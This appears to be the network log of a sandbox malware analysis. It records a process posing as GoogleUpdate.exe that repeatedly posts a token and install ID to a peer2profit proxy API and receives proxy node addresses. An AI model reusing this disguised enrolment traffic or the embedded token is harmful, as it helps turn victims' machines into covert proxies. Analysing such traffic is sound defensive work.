2022-11-24 15:59:28 UTC	98	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:28 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f35a19e84a694f-FRA
2022-11-24 15:59:28 UTC	98	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.3	50133	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:28 UTC	98	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:28 UTC	98	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:28 UTC	98	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:28 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f35a1befda9064-FRA
2022-11-24 15:59:28 UTC	99	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.3	50136	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:28 UTC	99	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:28 UTC	99	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:28 UTC	99	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:28 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f35a1d9f839b25-FRA
2022-11-24 15:59:28 UTC	99	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.3	50139	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:29 UTC	99	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:29 UTC	100	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:29 UTC	100	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:29 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f35a1f5ece9b71-FRA
2022-11-24 15:59:29 UTC	100	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.3	50141	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:29 UTC	100	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:29 UTC	100	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:29 UTC	101	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:29 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f35a212d46695d-FRA
2022-11-24 15:59:29 UTC	101	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.3	50144	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:29 UTC	101	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:29 UTC	101	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:29 UTC	101	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:29 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f35a22ef159265-FRA
2022-11-24 15:59:29 UTC	101	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.3	50147	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:29 UTC	102	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:29 UTC	102	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:30 UTC	102	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:30 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f35a24bf479028-FRA
2022-11-24 15:59:30 UTC	102	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.3	50151	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:30 UTC	102	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:30 UTC	102	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:30 UTC	103	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:30 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f35a268e5b9b45-FRA
2022-11-24 15:59:30 UTC	103	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49756	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:58:26 UTC	10	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:58:26 UTC	10	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:58:26 UTC	10	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:58:26 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f35897da719b6a-FRA
2022-11-24 15:58:26 UTC	10	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.3	50154	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:30 UTC	103	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:30 UTC	103	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:30 UTC	103	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:30 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f35a285db99b51-FRA
2022-11-24 15:59:30 UTC	103	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.3	50156	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:30 UTC	104	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:30 UTC	104	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:30 UTC	104	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:30 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f35a2a2c0ebc03-FRA
2022-11-24 15:59:30 UTC	104	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.3	50159	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:31 UTC	104	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
2022-11-24 15:59:31 UTC	104	OUT	Data Raw: 7b 22 74 6f 6b 65 6e 22 3a 20 22 53 44 4b 5f 48 4e 78 4c 69 6f 73 52 4f 62 7a 37 58 54 4f 61 5a 38 62 48 45 34 65 4d 57 41 7a 67 41 76 39 32 36 6a 61 53 48 38 72 37 35 4e 42 76 48 61 55 4c 4b 79 53 39 64 77 75 56 22 2c 20 22 69 6e 73 74 61 6c 6c 69 64 22 3a 20 22 50 32 50 5f 57 49 4e 5f 64 30 36 65 64 36 33 35 2d 36 38 66 36 2d 34 65 39 61 2d 39 35 35 63 2d 34 38 39 39 66 35 66 35 37 62 39 61 5f 6e 65 6f 64 6f 2e 76 69 6d 40 6d 61 69 6c 2e 72 75 22 2c 20 22 76 65 72 22 3a 20 22 30 2e 38 22 2c 20 22 61 67 65 6e 74 22 3a 20 22 31 2e 30 37 2e 30 32 22 7d Data Ascii: {"token": "SDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926jaSH8r75NBvHaULKyS9dwuV", "installid": "P2P_WIN_d06ed635-68f6-4e9a-955c-4899f5f57b9a_neodo.vim@mail.ru", "ver": "0.8", "agent": "1.07.02"}
2022-11-24 15:59:31 UTC	105	IN	HTTP/1.1 200 OK Date: Thu, 24 Nov 2022 15:59:31 GMT Content-Type: application/json Content-Length: 132 Connection: close CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 76f35a2beba5bbe5-FRA
2022-11-24 15:59:31 UTC	105	IN	Data Raw: 7b 0a 20 20 20 20 22 73 74 61 74 75 73 22 3a 20 22 53 55 43 43 45 53 53 22 2c 0a 20 20 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 20 20 20 20 22 6e 6f 64 65 22 3a 20 22 31 36 32 2e 31 39 2e 31 37 35 2e 31 36 33 22 2c 0a 20 20 20 20 20 20 20 20 22 70 6f 72 74 22 3a 20 34 34 33 2c 0a 20 20 20 20 20 20 20 20 22 70 65 65 72 5f 69 64 22 3a 20 32 33 39 34 31 37 30 31 38 0a 20 20 20 20 7d 0a 7d Data Ascii: { "status": "SUCCESS", "data": { "node": "162.19.175.163", "port": 443, "peer_id": 239417018 }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.3	50162	172.66.43.60	443	C:\Windows\GoogleUpdate.exe

Timestamp	kBytes transferred	Direction	Data
2022-11-24 15:59:31 UTC	105	OUT	POST /api/proxy/nodes/get HTTP/1.1 Content-Type: application/json User-Agent: Microsoft Internet Explorer Host: api.peer2profit.com Content-Length: 186 Cache-Control: no-cache
